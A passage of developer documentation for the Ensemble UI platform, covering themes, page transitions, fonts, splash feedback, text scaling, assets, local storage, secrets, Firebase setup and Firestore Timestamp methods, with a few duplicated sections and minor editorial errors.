you can create well-structured, maintainable, and reusable themes for your Ensemble applications. - -## Theme Inheritance in Ensemble - -Ensemble allows you to create reusable and organized themes using inheritance, similar to how CSS works. This lets you define common styles in a base theme and then have other themes inherit and modify those styles as needed. - -### Benefits of Theme Inheritance - -* **Reduces code duplication:** Define common styles once in a base theme and avoid repeating them in other themes. -* **Improved maintainability:** Makes changes to common styles easier to manage as they are centralized in the base theme. -* **Theming hierarchy:** Build a clear hierarchy of themes, making it easier to understand how styles are applied. - -### How Inheritance Works - -1. **Base Theme:** Define a theme (e.g., `Common`) containing the styles you want to share with other themes. You can define multiple base themes -2. **Inheriting Theme:** Define another theme (e.g., `Light`) and specify the base theme it inherits from using the `inheritsFrom` property. A base theme may inherit from another theme forming a chain -3. **Overriding Styles:** The inheriting theme can override any styles from the base theme by defining the same styles with different values. - -### Example - -Here's an example demonstrating theme inheritance: - -**Common Theme:** - -```yaml -Common: - label: Common theme - Tokens: - Colors: - primary: '#0077B8' - gray: - '200': '#f2f2f2' - '300': '#e0e0e0' - Styles: - .topView: - backgroundColor: ${Colors.gray['200']} - Button: - borderRadius: 20 - backgroundColor: red -``` - -**Light Theme (inherits from Common):** - -```yaml -Light: - label: Light Theme - description: Light theme with white background - inheritsFrom: Common - Tokens: - Colors: - teal: # New color palette for Light theme - '500': '#0694A2' - Styles: - Button: - backgroundColor: ${Colors.teal['500']} # Inherits primary from Common and overrides with teal - labelStyle: - color: white -``` - -**Explanation:** - -* `Light` theme inherits styles and tokens from the `Common` theme. -* `Light` theme overrides the `backgroundColor` of the `Button` style with its own `teal` color. -* `Light` theme's `Button` inherits the `borderRadius` from `Common` theme -* Other styles from `Common` (like `.topView`) are still applied to the `Light` theme. - -This example demonstrates how you can define a common base theme and then create specific themes like `Light` and `Dark` that inherit and modify styles as needed. - - - -### Properties - -Now let us see what properties does it have on larger level - -| Property | Type | Description | -| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| material3 | boolean | If set true, material3 will be applied else material2. see [here](https://material.io/blog/migrating-material-3) for more details about Material Design 2 vs 3. | -| Text | object | [see properties](#text) | -| Colors | object | [see properties](#colors) | -| Widgets | object | [see properties](#widgets) | -| Transitions | object | [see properties](#transitions) | - -### Text - -| Property | Type | Description | -| :------------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | -| displayLarge | object | Largest of display styles . As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | -| displayMedium | object | Middle size of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | -| displaySmall | object | Smallest of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | -| headlineLarge | object | Largest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | -| headlineMedium | object | Middle size of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens.[see properties](#textstyle) | -| headlineSmall | object | Smallest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | -| titleLarge | object | Largest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text.[see properties](#textstyle) | -| titleMedium | object | Middle size of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | -| titleSmall | object | Smallest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | -| bodyLarge | object | Largest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | -| bodyMedium | object | Middle size of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | -| bodySmall | object | Smallest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | -| labelLarge | object | Largest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | -| labelMedium | object | Middle size of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | -| labelSmall | object | Smallest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | - -#### TextStyle - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -### Colors - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| seed | string or integer | Generate color schema based on seed color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`. [more here]() | -| primary | string or integer | Primary color of your App (e.g button color, focus color, ...). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| onPrimary | string or integer | The color overlay on top of your primary color (e.g button text). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| secondary | string or integer | The Secondary color of your App. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| onSecondary | string or integer | The color overlay on top of your secondary color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabled | string or integer | Color when a widget is disabled. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| loadingScreenBackgroundColor | string or integer | The background color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| loadingScreenIndicatorColor | string or integer | The progress indicator color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -### Widgets - -*All the style properties for a widget are available to you to be set as part of the theme. Following is just a sample.* - -| Property | Type | Description | -| :------- | :----- | :------------------------ | -| Input | object | [see properties](#input) Applies to all form input such as DateRange, TextInput etc| -| Button | object | [see properties](#button) | - -#### Input - -| Property | Type | Description | -| :---------------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for Input widgets [see properties](#options-for-inputvariant) | -| fillColor | string or integer | The fill color for applicable input fields (TextInput, Dropdown, ...). which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | integer | The border radius for applicable Input widgets. | -| borderWidth | integer | The border width for applicable Input widgets. | -| borderColor | integer or string | The base border color for applicable input fields. This border color determines the look and feel of your inputs, while the other colors are overrides for different states, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when input fields are disabled, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| errorBorderColor | integer or string | The border color when there are errors on the input fields, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color of the input field when it is receiving focus | -| focusedErrorBorderColor | integer or string | The border color of the input field when it is receiving focus in its error state, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| hintStyle | object | [see properties](#textstyle) | - -#### Button - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| padding | string or integer | Padding with CSS-style value | - -#### options for Input.variant - -| Property | Description | -| :-------- | :--------------------------------------------------------- | -| underline | Draw an Underline below applicable input widgets (default) | -| box | Draw a Box border around applicable input widgets | - -### Transitions - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------- | -| page | object | [see properties](#properties-for-transitionspage) | -| modal | object | Same properties as the `page` property except `alignment`. | - -#### Properties for Transitions.page - -| Property | Type | Description | -| :-------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| type | string | Kind of transition types. Can read more about it [here](#animations-in-ensembleui). Possible values are `fade`,`rightToLeft`,`leftToRight`,`topToBottom`,`bottomToTop`,`scale`,`rotate`,`size`,`rightToLeftWithFade`,`leftToRightWithFade`,`leftToRightPop`,`rightToLeftPop`,`topToBottomPop`,`bottomToTopPop` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| duration | integer | The duration in `ms ( millisecond )` for which the transition animation happens. | - ---- - -# Animations in EnsembleUI - -Welcome to our Animations page! Here, you'll learn how to bring your website to life with stunning page transition animations. Elevate user experience and captivate your audience with smooth transitions that seamlessly guide them through your content. Get ready to add a touch of magic to your web pages with our animation techniques. - -Note: `Currently we only support page transition animations`. - -**Example** -Let us take an example of how page transition animations work. We can make it work in teo ways either at the [Screen](#page-level-code) or in the [Theme](#theme). - -#### Page Level - - - -```yaml -- Button: - label: Navigate to Home - onTap: - navigateScreen: - name: Home - transition: - type: bottomToTopPop - duration: 250 # millisecond is default -``` - - - - -**Explanation** - -The `type` property under `transition` property for _NavigateScreen_ action allows you to chose kind of animation you want. There are [list](#list-of-animation-types) of options you can chose from. - -#### Theme - -We can also define animations in our App theme, here is how you can do it. You can learn more about theme [here](). - - - -```yaml -Transitions: - page: - type: size - alignment: topRight - duration: 300 # Millisecond -``` - - - - -**Explanation** - -Works similarly to page level transition in the screen but now we are defining it in [Theme]() which makes it applicable to page transitions across the whole App. - -#### List of Animation Types - -| Type | Description | -| :------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------- | -| Fade | Smoothly transition between pages with a gentle fading effect, creating a seamless and elegant user experience. | -| RightToLeft | Slide pages from right to left, providing a visually pleasing flow that guides users through your content. | -| LeftToRight | Engage users with a left-to-right animation, giving a sense of progression and intuitive navigation. | -| TopToBottom | Bring a sense of depth to your pages as they transition from top to bottom, creating a visually immersive experience. | -| BottomToTop | Enhance user engagement by animating pages from bottom to top, adding a touch of dynamism to your website. | -| Scale | Add a dramatic effect as pages smoothly scale in and out, providing a visually striking transition between content. | -| Rotate | Give your pages a unique twist as they rotate into view, creating a captivating and memorable animation. | -| Size | Play with the size of your pages as they transition, making them expand or contract for a visually engaging effect. | -| RightToLeftWithFade | Combine the sliding motion of right-to-left transition with a fading effect, adding an extra layer of elegance to your page transitions. | -| LeftToRightWithFade | Blend left-to-right motion with a fade effect, delivering a seamless and visually pleasing transition between pages. | -| LeftToRightPop | Grab attention with a pop animation that slides pages from left to right, creating a dynamic and impactful transition. | -| RightToLeftPop | Add an eye-catching pop animation to your page transitions as they slide from right to left, making a lasting impression on your users. | -| TopToBottomPop | Infuse excitement into your transitions with a pop animation that brings pages into view from top to bottom, captivating your audience. | -| BottomToTopPop | Elevate user experience with a pop animation that animates pages from bottom to top, adding a delightful touch to your website's transitions. | - ---- - -# Using Custom Fonts - -Ensemble supports Google Fonts, but you also have the option to use your own custom fonts when deploying your app with [Ensemble Starter](https://docs.ensembleui.com/#/deploy/1-prepare-app). - -### -- From the root directory of Ensemble Starter, open `pubspec.yaml`. -- Under `flutter > fonts`, add your font entry in the following format: -``` - - family: - fonts: - - asset: assets/fonts/... - weight: - style: -``` -- Add your fonts under the directory specified above (e.g. assets/fonts/). -- In your definitions, you may now reference the font specified here using `fontFamily`. -``` -Text: - text: Hello world - styles: - textStyle: - fontFamily: -``` - ---- - -# Splash Feedback (Touchable Opacity) - -The **Splash Feedback** is a visual feedback mechanism that creates a ripple or splash animation when a user interacts with a widget. This effect enhances the user experience by providing immediate visual confirmation that an action, such as a tap or click, has been recognized by the interface. - -In many user interfaces, buttons come with a default splash effect, providing instant feedback during interaction. Recognizing the value of this visual feedback, Ensemble introduces the ability to extend the splash effect to other widgets, such as rows, columns, and containers, which don't have a splash effect by default. - -[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/sXFnorqUvN0l9zfSnTcX) - - - -### Widget List -Following are the list of widgets that support Splash Feedback -| Widget | Documentation | Kitchen sink example | -| ------------ | -------------- | ----------------------- | -| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | -| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | -| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | -| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | -| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | -| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | - - - - - - - -## Enable Splash Feedback - -To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. - -```yaml -Row: - styles: - enableSplashFeedback: true - padding: 10 - borderWidth: 1 - onTap: - executeCode: - body: | - console.log("Enabled Splash Feedback") -``` - -## Splash Color - -To enable splash feedback on a widget, use the `enableSplashFeedback` property in the widget’s styles. Set this property to true to activate the visual effect. However, keep in mind that the splash feedback will only work if the widget is using `onTap` action. - -```yaml -Row: - styles: - enableSplashFeedback: true - padding: 10 - borderWidth: 1 - onTap: - executeCode: - body: | - console.log("Enabled Splash Feedback") -``` - -## Set max and min text scaling - -You can continue supporting text scaling, but set max and min for the scaling factor: - -## Disable text scaling - -To disable text scaling globally across your app, go to your app's theme, and add the following: - -```yaml -App: - textScale: - enabled: true # this is the default behavior - maxFactor: 1.2 - minFactor: 0.8 -``` - -In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. - ---- - -# Text scaling - -iOS and Android users can use the accessibility features to change the weight, size, and darkness of text to make it easier to read on their devices. - -Ensemble apps adhere to user selected preference by default. You can either disable text scaling, or set minimum and maximum factors you like to support in your app. - - -## Disable text scaling - -To disable text scaling globally across your app, go to your app's theme, and add the following: - -```yaml -App: - textScale: - enabled: false -``` - -## Set max and min text scaling - -You can continue supporting text scaling, but set max and min for the scaling factor: - -## Disable text scaling - -To disable text scaling globally across your app, go to your app's theme, and add the following: - -```yaml -App: - textScale: - enabled: true # this is the default behavior - maxFactor: 1.2 - minFactor: 0.8 -``` - -In the above example, text size will be increase by max 20%. E.g. if user selects a scaling factor of 1.5 in the OS settings, the text will no be increased more than 20%. - ---- - - -# Assets (images, videos, etc.) - -You can manage the assets required by your app within Ensemble Studio. These are typically files such as: - -- image files (PNGs, JPEGs, SVGs, etc.) -- video files -- audio files -- JSON source for [Lottie widget](#lottie-animation-widget) - -> [!NOTE] -> When you build and deploy your app, these assets are included in your built output. These assets are loaded instantly in iOS and Android apps instead of downloading them over the network. This approach avoides any delay in displaying the assets. - - -## Upload assets - -Navigate to your app inside Ensemble Studio. Select Assets from the left menu. Click on Add assets and upload your file. - -![add language](public/images/app-assets/assets_landing.png) - -## Reference an assets - -![add language](public/images/app-assets/assets_example.png) - -1. Click on the `...` icon of the asset. -2. Select `Copy path`. -3. Paste the path in the relevant widget. This is typically the `source` property of widgets such as Image. - ---- - -# Persistent Local Storage -You can write to or access the storage using simply `ensemble.storage`. On the browser, this uses the local storage. On the native apps, it uses the secure storage that's provided to each app by iOS and Android. This stoage is persistent i.e. the data you save will stay there until the user explicitly deletes the storage or the app. This means that you can use storage to share data among multiple screens in your app. - -Typically apps store data such as the logged-in user's information, app-level data to cache data from the backend etc. - -### Storing and Retrieving data -You can store data in the persistent storage by just using the following syntax - - -```js -ensemble.storage.myData = {name: {first:'John', last: 'Doe'}}; -``` -and to retrieve data, simply access the parameter by name. For example - -```yaml -Text: - id: nameField - text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} -``` -or in js - -```js -nameField.text = ensemble.storage.myData.name.first + ' ' + ensemble.storage.myData.name.last; -``` -You can also store and retrieve properties using the set and get methods on `ensemble.storage`. This is useful when the parameter name is dynamically calculated instead of being known in advance. - -```js -ensemble.storage.set('my'+'Data',"{name: {first:'John', last: 'Doe'}"); -//to retrieve data -var myData = ensemble.storage.get('my'+'Data'); -``` -If the parameter with the same name already exists in the storage, it's value will be overwritten by the new value being set. - -### Checking if something is in storage -You can check in two ways, either by directly accessing the parameter by name or by using the `get` method and checking for null. - -```js -if ( ensemble.storage.myData != null ) { - //do something -} -``` - -### Deleting data in storage -You can set the parameter to null to remove its value. However if you want to entirely delete it from storage, call the `delete` method. - -```js -ensemble.storage.delete('myData'); //this will remove value referenced by myData and the myData as the key. -``` - -### Binding to the data in storage -One of the most powerful features of the Ensemble platform is the data binding. It allows you to significiantly reduce the amount of code you have to write and the ensuing complexity by just binding your widgets to the APIs or Storage. - -Here we will discuss binding to the `ensemble.storage`. When you `bind` a widget to something, the widget gets updated automatically when the thing it is bound to changes. - -For example, in the following yaml, `nameField.text` is bound to data in the storage. -```yaml -Text: - id: nameField - text: ${ensemble.storage.myData.name.first} ${ensemble.storage.myData.name.last} -``` -Now somewhere else (mostly in API responses), if you update the `myData` in storage, the `nameField.text` will automatically get the new value without you having to do anything. - -```yaml -API: - getDataFromServer: - url: 'https://myapp.com/data' - onResponse: |- - ensemble.storage.myData = response.data; //this will update all the fields that are bound to this parameter in storage -``` -### Manually triggering binding updates -Updates due to bindings to the storage are triggered only when you set a parameter on the storage directly. - -For example, the following triggers the binding and updates all the fields that are bound to ensemble.storage.myData -```js -ensemble.storage.myData = {name: {first:'John', last: 'Doe'}; -``` -However, if you are manipulating the data that is not directly stored in the `ensemble.storage`, it won't trigger binding. -```js -ensemble.storage.myData.name.first = 'Jane'; //will NOT trigger binding and the `nameField.text` will NOT be updated. -``` -To solve this issue, we set storage parameter back to itself to trigger the update. After doing all the manipulations to myData, set it back to itself -```js -ensemble.storage.myData = ensemble.storage.myData; //this will now update nameField.text and any other fields listening for this change -``` - ---- - -# App Settings - -Navigate to your app in Ensemble Studio to use the following settings: - -1. [Environment variables](#environment-variables) -2. [Secrets](#secrets) - -## Environment variables - -Add variables you intend to use throughout your app here. We recommend to use this for: - -- API endpoints -- 3rd-party service variables, such as service configs and URLs - -### Using environment variables - -Throughout your app, you can reference the environment variable with `${env.key_name}`. For instance, the API definitions can reference a variable: - -```yaml -API: - getUser: - url: ${env.apiEndpoint} - method: GET -``` - -## Secrets - -Your app may require using sensitive values for managing access to remote data. Ensemble supports configuring development secrets easily and securely during runtime, and the ability to inject separate production secrets when deploying. - -Add Secret - -Only application owners and editors can add or change secret values due to their sensitive nature. - -### Using secrets - -Any screens can reference the variable with `${secrets.key_name}`. Here we are simply displaying the secret value in a text field. - -Use Secret - -### Inject production secrets for deployment - -You can override your secrets for deployment from the .env file in your Ensemble project by using the same key with a different value. - -We do not recommend version controlling your .env file as this will expose your secrets. Consider removing your .env file from version control or injecting secrets at build time. - ---- - - -# Configuration of Firebase Project with Ensemble App - -Application's performance significantly increases with ⁤Integrating Firebase with our Ensemble project. ⁤⁤Firebase offers some services, such as real-time databases, authentication, analytics, and cloud messaging, which can help streamline backend development, -improve user engagement, and provide deep insights into user behavior. ⁤⁤Using Firebase with Ensemble allows us to focus more on our application's core features and user experience, while Firebase handles the backend. -⁤Now, let's dive into the configuration steps: - - -## Prerequisites -Before we start configuration, ensure that we have the following in place: -1. Ensemble project to integrate with Firebase. -2. Head over to the [Firebase console](https://console.firebase.google.com/) and create a new project or use an existing one. - -## 1. Registering our App with Firebase - -Firebase supports integration with various app platforms. Here's a breakdown for each platform: - -![All Apps](public/images/firebase/addApp.png) -#### Android - -- Click the Android icon(looks like a little robot) to start the setup. -- Type the unique "Android Package Name". Make sure it matches our app's exact name, and remember, it's case-sensitive! - -> [!NOTE] -> To learn more about how to get our Android package name for ensemble application, click [here](/deploy/4-android-device.md). - -- Click "Register app" to complete this step. -- Finally, download a file called "google-services.json". This file holds all the secret handshake information Firebase needs to talk to our app. - - -#### iOS - -- Click the Apple icon to start the setup. -- Enter our app's unique ID (called a "bundle ID"). Make sure it matches our app's exact name, and remember, it's case-sensitive! - -> [!NOTE] -> To learn more about how and where we can find our "Bundle ID" for ensemble application, click [here](/deploy/3-ios-appstore.md). - -- Click "Register app" to complete this step. -- Download a file called "GoogleService-Info.plist". This file contains the secret details Firebase needs to work with your app. - -#### Web - -- Click the Web icon(looks like a globe) to start the setup. -- Give our web app a nickname(this is just for us to see in the Firebase console). -- Click "Register app" to complete this step. -- Firebase will provide on-screen instructions where we will find a portion with the name `firebaseConfig` in code given. Copy that portion and save it in a file with the rest configuration files. - -![All Apps](public/images/firebase/allApps.png) - -## 2. Configure Ensemble app -Now that we've registered our app with Firebase and downloaded the configuration files, -it's time to establish the connection within our Ensemble project. -#### Make a Configuration File - -The first step involves creating a configuration file that stores Firebase project details specific to our chosen platform (iOS, Android, or Web). This file -acts as a translator between our app and Firebase, providing the necessary information for them to communicate effectively. The file will look like: - -```yaml -{ - "web": { - # Copy and paste all the values of firebaseCongig variable that we copy from web app and paste it here. - }, - "android": { - "apiKey": # In google-services.json, take value of client.api_key.current_key, - "appId": # In google-services.json, take value of client.client_info.mobilesdk_app_id, - "messagingSenderId": # In google-services.json, take value of project_info.project_number, - "projectId": # In google-services.json, take value of project_info.project_id, - "storageBucket": # In google-services.json, take value of project_info.storage_bucket - }, - "ios": { - "apiKey": # In GoogleService-Info.plist, take the value of API_KEY, - "appId": # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID, - "messagingSenderId": # In GoogleService-Info.plist, take the value of GCM_SENDER_ID, - "projectId": # In GoogleService-Info.plist, take the value of PROJECT_ID, - "storageBucket": # In GoogleService-Info.plist, take the value of STORAGE_BUCKET, - "iosBundleId": # In GoogleService-Info.plist, take the value of BUNDLE_ID - } -} -``` -After we have replaced the placeholder hashtags (#) in our configuration file, it will look like this: - -![Configuration File](public/images/firebase/configfile.png) - -#### Update Environmental Variables - -Within our Ensemble application, navigate to the settings section and look for the option to manage environmental variables. Here, we'll create two new variables: -- `api_providers`: Set the value of this variable to `firestore`. This tells our app to use Firebase Firestore as a data provider. -- `firestore_config`: This is where you'll paste the complete configuration file we created earlier, including the replaced values from our downloaded configuration files. - -![Environment Variables](public/images/firebase/envVari.png) - -By following these steps, we'll successfully establish a connection between your Ensemble app and Firebase. - ---- - - -# Calling Cloud Firestore APIs - -[Cloud Firestore](https://firebase.google.com/docs/firestore) is a flexible, scalable database for mobile, web, and server development from Firebase and Google Cloud. Ensemble platform provides a deep integration with the Firestore DB and allows you to call operations on your data in Firestore effortlessly. - -Unlike traditional relational databases, Firestore offers a document-based structure well-suited for storing and managing various data types within oour app. Firestore is a great choice for Ensemble applications because it provides simplified data modeling, Offline Persistence, Real-time Updates, and API Convenience to interact with data.⁤ - -Now, let's dive into performing basic operations on our Firestore database: - -> [!NOTE] -> Operations on Firestore won't work unless we have configured our Ensemble application with Firebase. Learn how to configure it [here](pages/firebase/configuration.mdx). - -- To get hands-on experience with firestore operations, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) - -## Firestore Data types - -### Timestamp -Following methods are available for Firestore's Timestamp type. - -#### Timestamp.now() -Static method. Returns a Timestamp representing the current time. - -Example -```js -var currentTimestamp = Timestamp.now(); -console.log(currentTimestamp); -``` -#### Timestamp.fromDate(date) -Static method. Creates a Timestamp from a JavaScript [Date](https://docs.ensembleui.com/javascript-reference/Date) object. -Example -```js -var specificDate = new Date('2024-08-05T12:34:56Z'); -var specificTimestamp = Timestamp.fromDate(specificDate); -console.log(specificTimestamp); -``` - -#### Timestamp.fromMillis(milliseconds) -Static method. Creates a Timestamp from a given number of milliseconds since the Unix epoch (January 1, 1970). - -Example -```js -var milliseconds = 1691237696123; // Milliseconds since the Unix epoch -var timestampFromMillis = Timestamp.fromMillis(milliseconds); -console.log(timestampFromMillis); -``` - -#### new Timestamp(seconds, nanoseconds) -Constructor. Creates a Timestamp object from a given number of seconds since the Unix epoch and additional nanoseconds. - -Example -```js -var seconds = 1691237696; -var nanoseconds = 123456789; -var customTimestamp = new Timestamp(seconds, nanoseconds); -console.log(customTimestamp); -``` -#### toDate() -Converts a Timestamp to the number of milliseconds since the Unix epoch. -Example -```js -var milliseconds = customTimestamp.toMillis(); -console.log(milliseconds); -``` -#### valueOf() -Returns the number of milliseconds since the Unix epoch, similar to toMillis(). It’s used when Timestamp is compared to other values in arithmetic operations. - -Example -```js -var value = customTimestamp.valueOf(); -console.log(value); -``` - -Following properties are also available on each `Timestamp` object - -#### seconds -The number of seconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. - -Example -```js -var timestamp = new Timestamp(10,0); -console.log(timestamp.seconds); //prints 10 -``` -#### nanoseconds -The number of nanoseconds of UTC time since Unix epoch 1970-01-01T00:00:00Z. - -Example -```js -var timestamp = new Timestamp(10,0); -console.log(timestamp.nanoseconds); //prints 0 -``` -### FieldValue - -Other than `isEqual`, Ensemble platform supports all the methods for [FieldValue](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue). - -All the methods are static and are called exactly the same way as you could call in js, see [this](https://firebase.google.com/docs/reference/js/v8/firebase.firestore.FieldValue) for example. - -See the following paragraphs for examples of how to use `FieldValue.serverTimestamp()` - -## 1. Creating a Firestore Collection - -To store data in Firestore, we need to create a collection. A collection in Firestore is a container for documents, -which are individual pieces of data. Each document contains a set of key-value pairs. Follow the given steps to create a collection: -- Go to the Firebase Console. -- Select our project. -- Navigate to Firestore Database in the side menu. -- Click on Start collection. -- Enter a collection ID (e.g., sports). -- We can add our first document by 